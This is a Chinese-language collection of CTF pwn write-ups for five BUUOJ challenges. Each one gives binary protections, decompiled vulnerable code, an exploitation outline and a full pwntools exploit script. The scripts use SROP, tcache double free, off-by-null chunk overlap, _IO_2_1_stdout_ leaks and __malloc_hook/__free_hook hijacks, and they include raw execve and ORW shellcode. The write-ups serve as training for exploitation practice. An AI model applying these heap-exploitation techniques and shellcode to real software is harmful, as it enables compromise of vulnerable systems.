rootersctf_2019_srop
rootersctf_2019_srop$ file rootersctf_2019_srop;checksec rootersctf_2019_srop
rootersctf_2019_srop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
[*] '/home/pwn/桌面/rootersctf_2019_srop/rootersctf_2019_srop'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
signed __int64 sub_401000()
{
signed __int64 v0;
char buf[128];
v0 = sys_write(1u, ::buf, 0x2AuLL);
return sys_read(0, buf, 0x400uLL);
}
程序什么都没有, 基本上就是一个syscall gadget, 不能ret2xxx 给了syscall, 那就SROP一把梭哈
x64的sys_rt_sigreturn 调用号是15, sigframe 布置好寄存器, 调用read(0, data_addr, 0x400) 在data_addr特定偏移 offset 处写入"/bin/sh\x00" , 然后调用execve(data_addr + offset) 另外注意, python3的SigreturnFrame 对象是特定的类型, 直接用bytes() 转为字节类型(读一下源码就懂了 exp
from pwn import *
url, port = "node4.buuoj.cn", 25810
filename = "./rootersctf_2019_srop"
elf = ELF(filename)
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
data_addr = 0x0000000000402000
pop_rax_syscall_leave_ret = 0x0000000000401032
syscall_leave_ret = 0x0000000000401033
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = data_addr
sigframe.rdx = 0x400
sigframe.rip = syscall_leave_ret
sigframe.rsp = data_addr
sigframe.rbp = data_addr
payload = cyclic(0x80 + 8) + p64(pop_rax_syscall_leave_ret) + p64(15) + bytes(sigframe)
io.sendlineafter('CTF?\n', payload)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = data_addr + 0x200
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_leave_ret
sigframe.rsp = data_addr + 0x18
payload = cyclic(8) + p64(pop_rax_syscall_leave_ret) + p64(15) + bytes(sigframe)
payload = payload.ljust(0x200, b'\x00')
payload += b'/bin/sh\x00'
sleep(0.1)
io.sendline(payload)
if __name__ == "__main__":
pwn()
io.interactive()
ciscn_2019_s_6
ciscn_2019_s_6$ file ciscn_s_6;checksec ciscn_s_6
ciscn_s_6: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fe3417123061871dbbe5d3784db46558e8a14214, not stripped
[*] '/home/pwn/桌面/ciscn_2019_s_6/ciscn_s_6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
普通题, 保护全开
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3;
unsigned __int64 v4;
v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("I hate 2.29 , can you understand me?");
puts("maybe you know the new libc");
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
getchar();
if ( v3 != 2 )
break;
show();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
call();
}
else
{
if ( v3 == 4 )
{
puts("Jack Ma doesn't like you~");
exit(0);
}
LABEL_13:
puts("Wrong");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}
call函数有个UAF / double free漏洞
unsigned __int64 call()
{
int v1;
unsigned __int64 v2;
v2 = __readfsqword(0x28u);
puts("Please input the index:");
__isoc99_scanf("%d", &v1);
if ( *((_QWORD *)&heap_addr + v1) )
free(**((void ***)&heap_addr + v1));
puts("You try it!");
puts("Done");
return __readfsqword(0x28u) ^ v2;
}
保护全开, 那就unsorted bin attack泄露libc, tcache double free打__free_hook
from pwn import *
url, port = "node4.buuoj.cn", 27264
filename = "./ciscn_s_6"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(size, name, call):
io.sendlineafter('choice:', '1')
io.sendlineafter('name', str(size))
io.sendlineafter('name:', name)
io.sendlineafter('call:', call)
def show(idx):
io.sendlineafter('choice:', '2')
io.sendlineafter('index:', str(idx))
def delete(idx):
io.sendlineafter('choice:', '3')
io.sendlineafter('index:', str(idx))
def pwn():
add(0x100, 'falca', 'fa1c4')
add(0x20, 'falca', 'fa1c4')
add(0x20, 'falca', 'fa1c4')
for _ in range(7):
delete(0)
delete(0)
show(0)
io.recvuntil('name')
libc.address = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0
free_hook = libc.sym['__free_hook']
system_addr = libc.sym['system']
lf('libc base address', libc.address)
lf('free hook address', free_hook)
lf('system address', system_addr)
delete(1)
delete(1)
delete(1)
add(0x20, p64(free_hook), 'fa1c4')
add(0x20, 'falca', 'fa1c4')
add(0x20, p64(system_addr), 'fa1c4')
add(0x20, b'/bin/sh\x00', 'fa1c4')
delete(6)
if __name__ == "__main__":
pwn()
io.interactive()
sctf_2019_easy_heap
sctf_2019_easy_heap$ file sctf_2019_easy_heap; checksec sctf_2019_easy_heap
sctf_2019_easy_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=aad28dd7c025e34b69bbd0409ff4c34da381c862, stripped
[*] '/home/pwn/桌面/22-04-21/sctf_2019_easy_heap/sctf_2019_easy_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
日常保护全开 一开始会先进一个初始化函数, 调用mmap申请了一块内存, 权限是rwx; 还直接打印地址(
unsigned __int64 initial()
{
int fd;
unsigned __int64 buf;
void *v3;
unsigned __int64 v4;
v4 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&unk_202060, 0, 0x80uLL);
fd = open("/dev/urandom", 0);
buf = 0LL;
read(fd, &buf, 5uLL);
buf &= 0xFFFFFFF000uLL;
close(fd);
v3 = mmap((void *)buf, 0x1000uLL, 7, 34, -1, 0LL);
printf("Mmap: %p\n", v3);
unk_202040 = 0;
sub_CBD();
return __readfsqword(0x28u) ^ v4;
}
接下来是正常菜单, add, edit, delete等等, 而且add里还直接回显主结构体指针地址(这白给… 深挖一层edit函数, 发现read字符串的函数有off-by-null漏洞
unsigned __int64 __fastcall readstr(__int64 contents, unsigned __int64 a2)
{
char buf;
int i;
unsigned __int64 v5;
v5 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
{
perror("Read failed!\n");
exit(-1);
}
if ( buf == 10 )
break;
*(_BYTE *)(contents + i) = buf;
}
if ( i == a2 )
*(_BYTE *)(i + contents) = 0;
return __readfsqword(0x28u) ^ v5;
}
漏洞利用: 因为直接回显地址, 泄露的大部分工作都省了, 返回主结构体的指针地址相当于已知bss段地址, 减去已知的偏移即可得到程序基址, 这样就绕过了PIE保护, 用unsorted bin unlink 和 off-by-null堆叠块, 劫持chunk链到mmap内存段, 然后写入shellcode, 再同理劫持got表到到shellcode执行 (其实必须劫持hook, 往下看
调试的时候发现劫持不了got表, 虽然fd指针指向了got表项, 但是add出来会崩溃, 难道是什么保护机制? 调出来了, 确实是权限保护机制, 这个程序的plt got段没有给写权限, 也就是对应Full RELRO 保护
看来还是基础太差了, 这个居然没意识到 (不过通过调试找到问题的答案也使对底层原理的理解更深刻, 之前都是直接理论接受这个知识, 现在调试发现了这个问题才真正理解, 这个保护机制本质就是给内存段设置读写执行权限
所以绕过PIE似乎并没有什么用, 换一个打法, 直接根据main_arena + 96 低位改0x30是malloc_hook 来打malloc_hook
from pwn import *
url, port = "node4.buuoj.cn", 25134
filename = "./sctf_2019_easy_heap"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
local = 0
if local:
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(size):
io.sendlineafter(">> ", "1")
io.sendlineafter("Size: ", str(size))
io.recvuntil("Pointer Address ")
msg = io.recvline()
log.info("{}".format(msg))
return int(msg, 16)
def delete(idx):
io.sendlineafter(">> ", "2")
io.sendlineafter("Index: ", str(idx))
def edit(idx, content):
io.sendlineafter(">> ", "3")
io.sendlineafter("Index: ", str(idx))
io.sendafter("Content: ", content)
def pwn():
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
bss_addr = 0x202068
io.recvuntil("Mmap: ")
msg = io.recvline()
mmap_addr = int(msg, 16)
lf("mmap address", mmap_addr)
add(0x410)
add(0x28)
add(0x18)
add(0x4f0)
add(0x10)
delete(0)
edit(2, cyclic(0x10) + p64(0x470))
delete(3)
delete(1)
delete(2)
add(0x440)
add(0x510)
payload = cyclic(0x410) + p64(0) + p64(0x31) + p64(mmap_addr + 0x10)
edit(0, payload + b'\n')
add(0x28)
add(0x28)
edit(3, shellcode + b'\n')
edit(1, b'\x30\n')
add(0x18)
add(0x18)
edit(6, p64(mmap_addr + 0x10) + b'\n')
io.sendlineafter(">> ", "1")
io.sendlineafter("Size: ", str(233))
if __name__ == "__main__":
pwn()
io.interactive()
小结: off-by-null + unsorted bin unlink构造chunk堆叠 + tcache attack劫持mmap + mmap shellcode + main_arena + 96 改低位为0x30 劫持malloc_hook
de1ctf_2019_weapon
de1ctf_2019_weapon$ file de1ctf_2019_weapon;checksec de1ctf_2019_weapon
de1ctf_2019_weapon: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=dbcf8be62e020f7c767f0c2b3d32154306f228e3, stripped
[*] '/home/pwn/桌面/de1ctf_2019_weapon/de1ctf_2019_weapon'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
老规矩, 保护全开
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
int v3;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
while ( 1 )
{
menu();
v3 = scanfin();
switch ( v3 )
{
case 1:
add();
break;
case 2:
delete();
break;
case 3:
edit();
break;
default:
puts("Incalid choice!");
break;
}
}
}
delete函数有悬空指针
unsigned __int64 delete()
{
int v1;
unsigned __int64 v2;
v2 = __readfsqword(0x28u);
printf("input idx :");
v1 = scanfin();
free(*((void **)&unk_202060 + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
注意到没有show函数, 所以需要通过_IO_2_1_stdout_ 来leak libc 漏洞利用: 先通过UAF漏洞修改chunk指针的低字节, 构造unsorted bin chunk和fastbin chunk堆重叠, 然后可以劫持_IO_2_1_stdout_-0x43 的位置泄露libc (内存0x1000对齐, 需要爆破4bits, 1/16概率), 最后通过fastbin attack劫持malloc hook为one gadget
from pwn import *
url, port = "node4.buuoj.cn", 29176
filename = "./de1ctf_2019_weapon"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(size, index, name):
io.sendlineafter('choice >>', '1')
io.sendlineafter('weapon: ', str(size))
io.sendlineafter('index: ', str(index))
io.sendafter('name:', name)
def free(index):
io.sendlineafter('choice >>', '2')
io.sendlineafter('idx :', str(index))
def edit(index, name):
io.sendlineafter('choice >>', '3')
io.sendlineafter('idx: ', str(index))
io.sendafter('content:', name)
def pwn():
global io
io = remote(url, port)
add(0x58, 0, cyclic(0x48) + p64(0x61))
add(0x60, 1, '1')
add(0x18, 2, '2')
add(0x58, 3, '3')
free(1)
free(3)
free(0)
edit(0, p8(0x50))
add(0x58, 4, '4')
add(0x58, 5, cyclic(8) + p64(0x91))
free(1)
edit(1, p16(0xF5DD))
edit(5, cyclic(8) + p64(0x71))
add(0x60, 6, '6')
payload = b'\x00'*0x33 + p64(0xfbad1887) + p64(0)*3 + b'\x00'
add(0x60, 7, payload)
libc_base = u64(io.recvuntil(b'\x7f',timeout=0.5)[-6:].ljust(8, b'\x00')) - 0x3c5600
lf('libc base address:', libc_base)
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
free(1)
edit(1, p64(libc_base + libc.sym['__malloc_hook'] - 0x23))
add(0x60, 1, '1')
payload = cyclic(0xb) + p64(libc_base + one_gadgets[1]) + p64(libc_base + libc.sym['realloc'] + 4)
add(0x60, 8, payload)
io.sendlineafter('choice >>', '1')
io.sendlineafter('weapon: ', str(1))
io.sendlineafter('index: ', str(1))
io.interactive()
if __name__=='__main__':
while 1:
try:
pwn()
except:
io.close()
SWPUCTF_2019_p1KkHeap
SWPUCTF_2019_p1KkHeap$ file SWPUCTF_2019_p1KkHeap;checksec SWPUCTF_2019_p1KkHeap
SWPUCTF_2019_p1KkHeap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9f84140cae50f25ac10f12ea52e1863fc41dafa1, stripped
[*] '/home/pwn/桌面/SWPUCTF_2019_p1KkHeap/SWPUCTF_2019_p1KkHeap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
普通题, 保护全开(其实也不算很常规, 加了一些限制, 增加了一些热(leng)知识 菜单heap, 但只允许12次操作
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3;
sub_B0A(a1, a2, a3);
puts(" Welcome to SWPUCTF 2019");
while ( cnt > 0 )
{
menu();
v3 = readin();
if ( v3 == 3 )
{
Edit();
}
else if ( v3 > 3 )
{
if ( v3 == 5 )
Quit();
if ( v3 < 5 )
{
Delete();
}
else if ( v3 == 666 )
{
puts("p1Kk wants a boyfriend!");
}
}
else if ( v3 == 1 )
{
Add();
}
else if ( v3 == 2 )
{
Show();
}
--cnt;
}
Quit();
}
一开始还用mmap申请了一个RWX的内存段, 可以考虑写入shellcode执行
delete函数有UAF, tcache可以double free, 但是这里做了限制只能free不超过3次, 这个限制了不能直接填满tcache然后用unsorted bin泄露libc地址
int Delete()
{
unsigned __int64 v1;
if ( cnt3 <= 0 )
Quit();
printf("id: ");
v1 = readin();
if ( v1 > 7 )
Quit();
free(*((void **)&unk_202100 + v1));
dword_2020E0[v1] = 0;
--cnt3;
return puts("Done!");
}
保护全开, 主要思想是在mmap段中写入shellcode(但是不能execve, 因此用ORW), 接着要泄露libc然后劫持__malloc_hook 到mmap段, 申请chunk会触发执行shellcode, get flag 这里有个问题就是tcache不能直接暴力填满, 这题的unsorted bin attack需要绕过free次数限制
冷(re)知识: 每一个线程会维护一个结构体tcache_perthread_struct , 这个结构体负责tcache的分配. 当tcache bins放满7个后, 剩余free掉的chunk会被放到fastbin或者unsorted bin(依据大小而定). 这里判断对应tcache bins大小的方法, 就是检查tcache_perthread_struct 中的字段的大小是不是大于6, 劫持这个数值小于2, 有限次数释放的chunk就可以进unsorted bin.
from pwn import *
url, port = "node4.buuoj.cn", 26889
filename = "./SWPUCTF_2019_p1KkHeap"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
def add(size):
io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(size))
def show(idx):
io.sendlineafter("Your Choice: ", '2')
io.sendlineafter("id: ", str(idx))
leak_addr = u64(io.recvline()[9:15].ljust(8, b'\x00'))
lf('leak_addr', leak_addr)
return leak_addr
def edit(idx, content):
io.sendlineafter("Your Choice: ", '3')
io.sendlineafter("id: ", str(idx))
io.sendafter("content: ", content)
def delete(idx):
io.sendlineafter("Your Choice: ", '4')
io.sendlineafter("id: ", str(idx))
def pwn():
mmap_addr = 0x66660000
add(0x100)
add(0x100)
delete(1)
delete(1)
heap_addr = show(1)
tcache_struct_addr = heap_addr - 0x360
add(0x100)
edit(2, p64(tcache_struct_addr) * 2)
add(0x100)
add(0x100)
lf('tcache struct address', tcache_struct_addr)
payload = cyclic(0xB8) + p64(mmap_addr)
edit(4, payload)
add(0x100)
shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, mmap_addr + 0x200, 0x60)
shellcode += shellcraft.write(1, mmap_addr + 0x200, 0x60)
edit(5, asm(shellcode))
delete(0)
libc.address = show(0) -96 - 0x3ebc40
malloc_hook = libc.sym['__malloc_hook']
lf('libc base address', libc.address)
lf('malloc hook address', malloc_hook)
payload = cyclic(0xB8) + p64(malloc_hook)
edit(4, payload)
add(0x100)
edit(6, p64(mmap_addr))
io.sendlineafter('Your Choice: ', '1')
io.sendlineafter('size: ', str(233))
if __name__ == "__main__":
pwn()
io.interactive()
小结 有限次数释放tcache数目绕过 + unsorted bin attack泄露libc + UAF + mmap shellcode + ORW + 劫持malloc_hook
|